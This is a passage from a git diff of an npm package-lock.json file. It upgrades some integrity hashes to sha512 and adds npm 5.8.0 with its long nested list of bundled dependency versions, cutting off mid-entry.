"https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", + "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", "requires": { "encoding": "0.1.12", "is-stream": "1.1.0" @@ -6140,7 +6159,7 @@ "normalize-package-data": { "version": "2.4.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", + "integrity": "sha512-9jjUFbTPfEy3R/ad/2oNbKtW9Hgovl5O1FvFWKkKblNXoN/Oou6+9+KKohPK13Yc3/TyunyWhJp6gvRNR/PPAw==", "dev": true, "requires": { "hosted-git-info": "2.5.0", @@ -6181,6 +6200,3861 @@ "resolved": "https://registry.npmjs.org/normalize.css/-/normalize.css-4.2.0.tgz", "integrity": "sha1-IdZsxVcVTUN5/R4HnsfeWKN5sJk=" }, + "npm": { + "version": "5.8.0", + "resolved": "https://registry.npmjs.org/npm/-/npm-5.8.0.tgz", + "integrity": "sha512-DowXzQwtSWDtbAjuWecuEiismR0VdNEYaL3VxNTYTdW6AGkYxfGk9LUZ/rt6etEyiH4IEk95HkJeGfXE5Rz9xQ==", + "requires": { + "JSONStream": "1.3.2", + "abbrev": "1.1.1", + "ansi-regex": "3.0.0", + "ansicolors": "0.3.2", + "ansistyles": "0.1.3", + "aproba": "1.2.0", + "archy": "1.0.0", + "bin-links": "1.1.0", + "bluebird": "3.5.1", + "cacache": "10.0.4", + "call-limit": "1.1.0", + "chownr": "1.0.1", + "cli-table2": "0.2.0", + "cmd-shim": "2.0.2", + "columnify": "1.5.4", + "config-chain": "1.1.11", + "debuglog": "1.0.1", + "detect-indent": "5.0.0", + "detect-newline": "2.1.0", + "dezalgo": "1.0.3", + "editor": "1.0.0", + "find-npm-prefix": "1.0.2", + "fs-vacuum": "1.2.10", + "fs-write-stream-atomic": "1.0.10", + "gentle-fs": "2.0.1", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "has-unicode": "2.0.1", + "hosted-git-info": "2.6.0", + "iferr": "0.1.5", + "imurmurhash": "0.1.4", + "inflight": "1.0.6", + "inherits": "2.0.3", + "ini": "1.3.5", + "init-package-json": "1.10.3", + "is-cidr": "1.0.0", + "json-parse-better-errors": "1.0.1", + "lazy-property": "1.0.0", + "libcipm": "1.6.0", + "libnpx": "10.0.1", + "lockfile": "1.0.3", + "lodash._baseindexof": "3.1.0", + "lodash._baseuniq": "4.6.0", + "lodash._bindcallback": "3.0.1", + "lodash._cacheindexof": "3.0.2", + "lodash._createcache": "3.1.2", + "lodash._getnative": "3.9.1", + "lodash.clonedeep": "4.5.0", + "lodash.restparam": "3.6.1", + "lodash.union": "4.6.0", + "lodash.uniq": "4.5.0", + "lodash.without": "4.4.0", + "lru-cache": "4.1.1", + "meant": "1.0.1", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "nopt": "4.0.1", + "normalize-package-data": "2.4.0", + "npm-cache-filename": "1.0.2", + "npm-install-checks": "3.0.0", + "npm-lifecycle": "2.0.1", + "npm-package-arg": "6.0.0", + "npm-packlist": "1.1.10", + "npm-profile": "3.0.1", + "npm-registry-client": "8.5.1", + "npm-user-validate": "1.0.0", + "npmlog": "4.1.2", + "once": "1.4.0", + "opener": "1.4.3", + "osenv": "0.1.5", + "pacote": "7.6.1", + "path-is-inside": "1.0.2", + "promise-inflight": "1.0.1", + "qrcode-terminal": "0.11.0", + "query-string": "5.1.0", + "qw": "1.0.1", + "read": "1.0.7", + "read-cmd-shim": "1.0.1", + "read-installed": "4.0.3", + "read-package-json": "2.0.13", + "read-package-tree": "5.1.6", + "readable-stream": "2.3.5", + "readdir-scoped-modules": "1.0.2", + "request": "2.83.0", + "retry": "0.10.1", + "rimraf": "2.6.2", + "safe-buffer": "5.1.1", + "semver": "5.5.0", + "sha": "2.0.1", + "slide": "1.1.6", + "sorted-object": "2.0.1", + "sorted-union-stream": "2.1.3", + "ssri": "5.2.4", + "strip-ansi": "4.0.0", + "tar": "4.4.0", + "text-table": "0.2.0", + "uid-number": "0.0.6", + "umask": "1.1.0", + "unique-filename": "1.1.0", + "unpipe": "1.0.0", + "update-notifier": "2.3.0", + "uuid": "3.2.1", + "validate-npm-package-license": "3.0.1", + "validate-npm-package-name": "3.0.0", + "which": "1.3.0", + "worker-farm": "1.5.4", + "wrappy": "1.0.2", + "write-file-atomic": "2.3.0" + }, + "dependencies": { + "JSONStream": { + "version": "1.3.2", + "bundled": true, + "requires": { + "jsonparse": "1.3.1", + "through": "2.3.8" + }, + "dependencies": { + "jsonparse": { + "version": "1.3.1", + "bundled": true + }, + "through": { + "version": "2.3.8", + "bundled": true + } + } + }, + "abbrev": { + "version": "1.1.1", + "bundled": true + }, + "ansi-regex": { + "version": "3.0.0", + "bundled": true + }, + "ansicolors": { + "version": "0.3.2", + "bundled": true + }, + "ansistyles": { + "version": "0.1.3", + "bundled": true + }, + "aproba": { + "version": "1.2.0", + "bundled": true + }, + "archy": { + "version": "1.0.0", + "bundled": true + }, + "bin-links": { + "version": "1.1.0", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "cmd-shim": "2.0.2", + "fs-write-stream-atomic": "1.0.10", + "gentle-fs": "2.0.1", + "graceful-fs": "4.1.11", + "slide": "1.1.6" + } + }, + "bluebird": { + "version": "3.5.1", + "bundled": true + }, + "cacache": { + "version": "10.0.4", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "chownr": "1.0.1", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "lru-cache": "4.1.1", + "mississippi": "2.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "promise-inflight": "1.0.1", + "rimraf": "2.6.2", + "ssri": "5.2.4", + "unique-filename": "1.1.0", + "y18n": "4.0.0" + }, + "dependencies": { + "mississippi": { + "version": "2.0.0", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "duplexify": "3.5.4", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "2.0.1", + "pumpify": "1.4.0", + "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.4", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.5" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.4", + "inherits": "2.0.3", + "pump": "2.0.1" + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.5", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "y18n": { + "version": "4.0.0", + "bundled": true + } + } + }, + "call-limit": { + "version": "1.1.0", + "bundled": true + }, + "chownr": { + "version": "1.0.1", + "bundled": true + }, + "cli-table2": { + "version": "0.2.0", + "bundled": true, + "requires": { + "colors": "1.1.2", + "lodash": "3.10.1", + "string-width": "1.0.2" + }, + "dependencies": { + "colors": { + "version": "1.1.2", + "bundled": true, + "optional": true + }, + "lodash": { + "version": "3.10.1", + "bundled": true + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + }, + "dependencies": { + "number-is-nan": { + "version": "1.0.1", + "bundled": true + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + } + } + }, + "cmd-shim": { + "version": "2.0.2", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "mkdirp": "0.5.1" + } + }, + "columnify": { + "version": "1.5.4", + "bundled": true, + "requires": { + "strip-ansi": "3.0.1", + "wcwidth": "1.0.1" + }, + "dependencies": { + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + }, + "wcwidth": { + "version": "1.0.1", + "bundled": true, + "requires": { + "defaults": "1.0.3" + }, + "dependencies": { + "defaults": { + "version": "1.0.3", + "bundled": true, + "requires": { + "clone": "1.0.2" + }, + "dependencies": { + "clone": { + "version": "1.0.2", + "bundled": true + } + } + } + } + } + } + }, + "config-chain": { + "version": "1.1.11", + "bundled": true, + "requires": { + "ini": "1.3.5", + "proto-list": "1.2.4" + }, + "dependencies": { + "proto-list": { + "version": "1.2.4", + "bundled": true + } + } + }, + "debuglog": { + "version": "1.0.1", + "bundled": true + }, + "detect-indent": { + "version": "5.0.0", + "bundled": true + }, + "detect-newline": { + "version": "2.1.0", + "bundled": true + }, + "dezalgo": { + "version": "1.0.3", + "bundled": true, + "requires": { + "asap": "2.0.5", + "wrappy": "1.0.2" + }, + "dependencies": { + "asap": { + "version": "2.0.5", + "bundled": true + } + } + }, + "editor": { + "version": "1.0.0", + "bundled": true + }, + "find-npm-prefix": { + "version": "1.0.2", + "bundled": true + }, + "fs-vacuum": { + "version": "1.2.10", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "path-is-inside": "1.0.2", + "rimraf": "2.6.2" + } + }, + "fs-write-stream-atomic": { + "version": "1.0.10", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "iferr": "0.1.5", + "imurmurhash": "0.1.4", + "readable-stream": "2.3.5" + } + }, + "gentle-fs": { + "version": "2.0.1", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "fs-vacuum": "1.2.10", + "graceful-fs": "4.1.11", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "path-is-inside": "1.0.2", + "read-cmd-shim": "1.0.1", + "slide": "1.1.6" + } + }, + "glob": { + "version": "7.1.2", + "bundled": true, + "requires": { + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" + }, + "dependencies": { + "fs.realpath": { + "version": "1.0.0", + "bundled": true + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.8" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.8", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "path-is-absolute": { + "version": "1.0.1", + "bundled": true + } + } + }, + "graceful-fs": { + "version": "4.1.11", + "bundled": true + }, + "has-unicode": { + "version": "2.0.1", + "bundled": true + }, + "hosted-git-info": { + "version": "2.6.0", + "bundled": true + }, + "iferr": { + "version": "0.1.5", + "bundled": true + }, + "imurmurhash": { + "version": "0.1.4", + "bundled": true + }, + "inflight": { + "version": "1.0.6", + "bundled": true, + "requires": { + "once": "1.4.0", + "wrappy": "1.0.2" + } + }, + "inherits": { + "version": "2.0.3", + "bundled": true + }, + "ini": { + "version": "1.3.5", + "bundled": true + }, + "init-package-json": { + "version": "1.10.3", + "bundled": true, + "requires": { + "glob": "7.1.2", + "npm-package-arg": "6.0.0", + "promzard": "0.3.0", + "read": "1.0.7", + "read-package-json": "2.0.13", + "semver": "5.5.0", + "validate-npm-package-license": "3.0.1", + "validate-npm-package-name": "3.0.0" + }, + "dependencies": { + "promzard": { + "version": "0.3.0", + "bundled": true, + "requires": { + "read": "1.0.7" + } + } + } + }, + "is-cidr": { + "version": "1.0.0", + "bundled": true, + "requires": { + "cidr-regex": "1.0.6" + }, + "dependencies": { + "cidr-regex": { + "version": "1.0.6", + "bundled": true + } + } + }, + "json-parse-better-errors": { + "version": "1.0.1", + "bundled": true + }, + "lazy-property": { + "version": "1.0.0", + "bundled": true + }, + "libcipm": { + "version": "1.6.0", + "bundled": true, + "requires": { + "bin-links": "1.1.0", + "bluebird": "3.5.1", + "find-npm-prefix": "1.0.2", + "graceful-fs": "4.1.11", + "lock-verify": "2.0.0", + "npm-lifecycle": "2.0.1", + "npm-logical-tree": "1.2.1", + "npm-package-arg": "6.0.0", + "pacote": "7.6.1", + "protoduck": "5.0.0", + "read-package-json": "2.0.13", + "rimraf": "2.6.2", + "worker-farm": "1.5.4" + }, + "dependencies": { + "lock-verify": { + "version": "2.0.0", + "bundled": true, + "requires": { + "npm-package-arg": "5.1.2", + "semver": "5.5.0" + }, + "dependencies": { + "npm-package-arg": { + "version": "5.1.2", + "bundled": true, + "requires": { + "hosted-git-info": "2.6.0", + "osenv": "0.1.5", + "semver": "5.5.0", + "validate-npm-package-name": "3.0.0" + } + } + } + }, + "npm-logical-tree": { + "version": "1.2.1", + "bundled": true + }, + "protoduck": { + "version": "5.0.0", + "bundled": true, + "requires": { + "genfun": "4.0.1" + }, + "dependencies": { + "genfun": { + "version": "4.0.1", + "bundled": true + } + } + }, + "worker-farm": { + "version": "1.5.4", + "bundled": true, + "requires": { + "errno": "0.1.7", + "xtend": "4.0.1" + }, + "dependencies": { + "errno": { + "version": "0.1.7", + "bundled": true, + "requires": { + "prr": "1.0.1" + }, + "dependencies": { + "prr": { + "version": "1.0.1", + "bundled": true + } + } + }, + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "libnpx": { + "version": "10.0.1", + "bundled": true, + "requires": { + "dotenv": "5.0.1", + "npm-package-arg": "6.0.0", + "rimraf": "2.6.2", + "safe-buffer": "5.1.1", + "update-notifier": "2.3.0", + "which": "1.3.0", + "y18n": "4.0.0", + "yargs": "11.0.0" + }, + "dependencies": { + "dotenv": { + "version": "5.0.1", + "bundled": true + }, + "y18n": { + "version": "4.0.0", + "bundled": true + }, + "yargs": { + "version": "11.0.0", + "bundled": true, + "requires": { + "cliui": "4.0.0", + "decamelize": "1.2.0", + "find-up": "2.1.0", + "get-caller-file": "1.0.2", + "os-locale": "2.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "9.0.2" + }, + "dependencies": { + "cliui": { + "version": "4.0.0", + "bundled": true, + "requires": { + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" + }, + "dependencies": { + "wrap-ansi": { + "version": "2.1.0", + "bundled": true, + "requires": { + "string-width": "1.0.2", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + }, + "dependencies": { + "number-is-nan": { + "version": "1.0.1", + "bundled": true + } + } + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + } + } + }, + "decamelize": { + "version": "1.2.0", + "bundled": true + }, + "find-up": { + "version": "2.1.0", + "bundled": true, + "requires": { + "locate-path": "2.0.0" + }, + "dependencies": { + "locate-path": { + "version": "2.0.0", + "bundled": true, + "requires": { + "p-locate": "2.0.0", + "path-exists": "3.0.0" + }, + "dependencies": { + "p-locate": { + "version": "2.0.0", + "bundled": true, + "requires": { + "p-limit": "1.2.0" + }, + "dependencies": { + "p-limit": { + "version": "1.2.0", + "bundled": true, + "requires": { + "p-try": "1.0.0" + }, + "dependencies": { + "p-try": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "path-exists": { + "version": "3.0.0", + "bundled": true + } + } + } + } + }, + "get-caller-file": { + "version": "1.0.2", + "bundled": true + }, + "os-locale": { + "version": "2.1.0", + "bundled": true, + "requires": { + "execa": "0.7.0", + "lcid": "1.0.0", + "mem": "1.1.0" + }, + "dependencies": { + "execa": { + "version": "0.7.0", + "bundled": true, + "requires": { + "cross-spawn": "5.1.0", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" + }, + "dependencies": { + "cross-spawn": { + "version": "5.1.0", + "bundled": true, + "requires": { + "lru-cache": "4.1.1", + "shebang-command": "1.2.0", + "which": "1.3.0" + }, + "dependencies": { + "shebang-command": { + "version": "1.2.0", + "bundled": true, + "requires": { + "shebang-regex": "1.0.0" + }, + "dependencies": { + "shebang-regex": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "is-stream": { + "version": "1.1.0", + "bundled": true + }, + "npm-run-path": { + "version": "2.0.2", + "bundled": true, + "requires": { + "path-key": "2.0.1" + }, + "dependencies": { + "path-key": { + "version": "2.0.1", + "bundled": true + } + } + }, + "p-finally": { + "version": "1.0.0", + "bundled": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true + }, + "strip-eof": { + "version": "1.0.0", + "bundled": true + } + } + }, + "lcid": { + "version": "1.0.0", + "bundled": true, + "requires": { + "invert-kv": "1.0.0" + }, + "dependencies": { + "invert-kv": { + "version": "1.0.0", + "bundled": true + } + } + }, + "mem": { + "version": "1.1.0", + "bundled": true, + "requires": { + "mimic-fn": "1.2.0" + }, + "dependencies": { + "mimic-fn": { + "version": "1.2.0", + "bundled": true + } + } + } + } + }, + "require-directory": { + "version": "2.1.1", + "bundled": true + }, + "require-main-filename": { + "version": "1.0.1", + "bundled": true + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true + }, + "string-width": { + "version": "2.1.1", + "bundled": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true + } + } + }, + "which-module": { + "version": "2.0.0", + "bundled": true + }, + "y18n": { + "version": "3.2.1", + "bundled": true + }, + "yargs-parser": { + "version": "9.0.2", + "bundled": true, + "requires": { + "camelcase": "4.1.0" + }, + "dependencies": { + "camelcase": { + "version": "4.1.0", + "bundled": true + } + } + } + } + } + } + }, + "lockfile": { + "version": "1.0.3", + "bundled": true + }, + "lodash._baseindexof": { + "version": "3.1.0", + "bundled": true + }, + "lodash._baseuniq": { + "version": "4.6.0", + "bundled": true, + "requires": { + "lodash._createset": "4.0.3", + "lodash._root": "3.0.1" + }, + "dependencies": { + "lodash._createset": { + "version": "4.0.3", + "bundled": true + }, + "lodash._root": { + "version": "3.0.1", + "bundled": true + } + } + }, + "lodash._bindcallback": { + "version": "3.0.1", + "bundled": true + }, + "lodash._cacheindexof": { + "version": "3.0.2", + "bundled": true + }, + "lodash._createcache": { + "version": "3.1.2", + "bundled": true, + "requires": { + "lodash._getnative": "3.9.1" + } + }, + "lodash._getnative": { + "version": "3.9.1", + "bundled": true + }, + "lodash.clonedeep": { + "version": "4.5.0", + "bundled": true + }, + "lodash.restparam": { + "version": "3.6.1", + "bundled": true + }, + "lodash.union": { + "version": "4.6.0", + "bundled": true + }, + "lodash.uniq": { + "version": "4.5.0", + "bundled": true + }, + "lodash.without": { + "version": "4.4.0", + "bundled": true + }, + "lru-cache": { + "version": "4.1.1", + "bundled": true, + "requires": { + "pseudomap": "1.0.2", + "yallist": "2.1.2" + }, + "dependencies": { + "pseudomap": { + "version": "1.0.2", + "bundled": true + }, + "yallist": { + "version": "2.1.2", + "bundled": true + } + } + }, + "meant": { + "version": "1.0.1", + "bundled": true + }, + "mississippi": { + "version": "3.0.0", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "duplexify": "3.5.4", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "3.0.0", + "pumpify": "1.4.0", + "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.4", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.5" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "3.0.0", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.4", + "inherits": "2.0.3", + "pump": "2.0.1" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + } + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.5", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "mkdirp": { + "version": "0.5.1", + "bundled": true, + "requires": { + "minimist": "0.0.8" + }, + "dependencies": { + "minimist": { + "version": "0.0.8", + "bundled": true + } + } + }, + "move-concurrently": { + "version": "1.0.1", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "copy-concurrently": "1.0.5", + "fs-write-stream-atomic": "1.0.10", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" + }, + "dependencies": { + "copy-concurrently": { + "version": "1.0.5", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "fs-write-stream-atomic": "1.0.10", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" + } + }, + "run-queue": { + "version": "1.0.3", + "bundled": true, + "requires": { + "aproba": "1.2.0" + } + } + } + }, + "nopt": { + "version": "4.0.1", + "bundled": true, + "requires": { + "abbrev": "1.1.1", + "osenv": "0.1.5" + } + }, + "normalize-package-data": { + "version": "2.4.0", + "bundled": true, + "requires": { + "hosted-git-info": "2.6.0", + "is-builtin-module": "1.0.0", + "semver": "5.5.0", + "validate-npm-package-license": "3.0.1" + }, + "dependencies": { + "is-builtin-module": { + "version": "1.0.0", + "bundled": true, + "requires": { + "builtin-modules": "1.1.1" + }, + "dependencies": { + "builtin-modules": { + "version": "1.1.1", + "bundled": true + } + } + } + } + }, + "npm-cache-filename": { + "version": "1.0.2", + "bundled": true + }, + "npm-install-checks": { + "version": "3.0.0", + "bundled": true, + "requires": { + "semver": "5.5.0" + } + }, + "npm-lifecycle": { + "version": "2.0.1", + "bundled": true, + "requires": { + "byline": "5.0.0", + "graceful-fs": "4.1.11", + "node-gyp": "3.6.2", + "resolve-from": "4.0.0", + "slide": "1.1.6", + "uid-number": "0.0.6", + "umask": "1.1.0", + "which": "1.3.0" + }, + "dependencies": { + "byline": { + "version": "5.0.0", + "bundled": true + }, + "node-gyp": { + "version": "3.6.2", + "bundled": true, + "requires": { + "fstream": "1.0.11", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "minimatch": "3.0.4", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "npmlog": "4.1.2", + "osenv": "0.1.5", + "request": "2.83.0", + "rimraf": "2.6.2", + "semver": "5.3.0", + "tar": "2.2.1", + "which": "1.3.0" + }, + "dependencies": { + "fstream": { + "version": "1.0.11", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "inherits": "2.0.3", + "mkdirp": "0.5.1", + "rimraf": "2.6.2" + } + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.11" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "nopt": { + "version": "3.0.6", + "bundled": true, + "requires": { + "abbrev": "1.1.1" + } + }, + "semver": { + "version": "5.3.0", + "bundled": true + }, + "tar": { + "version": "2.2.1", + "bundled": true, + "requires": { + "block-stream": "0.0.9", + "fstream": "1.0.11", + "inherits": "2.0.3" + }, + "dependencies": { + "block-stream": { + "version": "0.0.9", + "bundled": true, + "requires": { + "inherits": "2.0.3" + } + } + } + } + } + }, + "resolve-from": { + "version": "4.0.0", + "bundled": true + } + } + }, + "npm-package-arg": { + "version": "6.0.0", + "bundled": true, + "requires": { + "hosted-git-info": "2.6.0", + "osenv": "0.1.5", + "semver": "5.5.0", + "validate-npm-package-name": "3.0.0" + } + }, + "npm-packlist": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.3" + }, + "dependencies": { + "ignore-walk": { + "version": "3.0.1", + "bundled": true, + "requires": { + "minimatch": "3.0.4" + }, + "dependencies": { + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.8" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.8", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + } + } + }, + "npm-bundled": { + "version": "1.0.3", + "bundled": true + } + } + }, + "npm-profile": { + "version": "3.0.1", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "make-fetch-happen": "2.6.0" + }, + "dependencies": { + "make-fetch-happen": { + "version": "2.6.0", + "bundled": true, + "requires": { + "agentkeepalive": "3.3.0", + "cacache": "10.0.4", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.0.0", + "https-proxy-agent": "2.1.1", + "lru-cache": "4.1.1", + "mississippi": "1.3.1", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "3.0.1", + "ssri": "5.2.4" + }, + "dependencies": { + "agentkeepalive": { + "version": "3.3.0", + "bundled": true, + "requires": { + "humanize-ms": "1.2.1" + }, + "dependencies": { + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ms": "2.1.1" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true + }, + "http-proxy-agent": { + "version": "2.0.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "2.6.9" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "2.6.9", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "https-proxy-agent": { + "version": "2.1.1", + "bundled": true, + "requires": { + 